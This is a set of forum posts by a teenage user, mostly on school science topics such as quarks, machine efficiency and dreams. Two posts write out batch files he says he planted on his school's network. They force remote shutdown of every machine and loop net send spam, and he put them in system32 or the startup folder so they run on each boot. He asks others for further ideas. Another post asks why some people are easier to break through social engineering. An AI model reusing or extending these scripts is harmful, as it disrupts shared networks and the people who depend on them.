Phiredude

hey, so i go to a public school and they can piss you off pretty fast. well, the way i see it, the idiots are running windows xp and the whole school is on a network. so i mosy on into the library and type up a nifty little batch file laced with a little visual basic. i set it into system32 and watch the idiots screw themselves over. here are the dos commands i used @echo off :1 shutdown -r -f -m \\* -c "whatever" :2 net send * windows would like to take a nap now!!! net send * Goodbye!!! goto 2 if any of you nice people have done something like this at work or school or would like to give me some ideas on what to stick in it, it would be awesome. and yall probably don't approve of this, but you see, i showed the head admin lady a whole bunch of flaws in their security and got 10 days OCS. thats why i am doing this.

well as i was telling honz415. i think i thought of a way to use friction to your advantage. i mean, think of how bumper cars work. they create electricity by rubbing up against the metal right. well not all the way, but i am sure you can use friction to your advantage that way

well, i go to a public school and i get pretty mad at it sometimes. so i just mosy on into the library and write out a pretty nifty little batch file called batch1.bat heres what is in it: @echo off :start net send * "stop failing me" or net send * "your computer is going to blow up" goto start or if i am really mad replace net send with this shutdown -s -f -m \\* -c "The MATRIX has you!" then after all that, i stick it in the startup folder so the batch files start up with the computer and it totally screws them over. i was just wondering if any of you nice people have ever done something similar to that at school or at your jobs or something.

yeah i know they aren't sound waves, i just thought i was being to vague when i just said waves

oh, sorry. i should probably search before i start posting things. again sorry.

hey what up again. ummmm... a couple weeks ago, i had to do a project for science to make a machine give as much work output as work input(obviously impossible, but he wanted us to get as high as we could). well i got a 92 on the project,but i only got about 50% output i think. he didn't give us a way to gauge it. does anyone know if there is a perfect machine? and if there isn't, what do you think would mae one. i know if someone figured it out, a nobel prize would be hanging on there wall, i just want to hear some of your opinions.

today in science, i was looking through my book and saw that there are six different types of quarks that make up protons and neutrons. so i cam home and have done a lot of googleing on this and i found some really awesome info. protons and neutrons can switch between being solid and being waves(as in like sound waves). does this mean that the quarks are also switching? and if so, what does that make the quarks? what type of matter is it?

i am between 6'1" or 6"2". and i am still growing. my dad says i will probably keep growng through high school and into college

ok yeah i get what your saying. and i don't know about what the engineering part is about.

i think if a scientist wants to test something on him/herself, they should be able to. i totally agree with brainman

well, i am a hacker. social engineering is a big part of what i do. it has come to my attention some people are easier to "break" than others. i have been wondering why this is for a couple months now. why are some people easier to succumb to pressure than others? why are their some people that can take all the pain in the world and not do anything while others will spill any thing the opposition wants after being tickled or something like that? Edit: also, why do some people have more of a threshold of pain than others? if these questions are stupid, pleez don't flame me or anything.

well, maybe it is because when you are a kid, your knowledge of the real world isn't as profound as when you are an adult, so your dream are going to be less complex. you aren't going to be using as much knowldge then as you are now. and i am 16. i can still dream like that. though i don't do it as much, it still happens. so i guess as i am getting smarter, so are my dreams.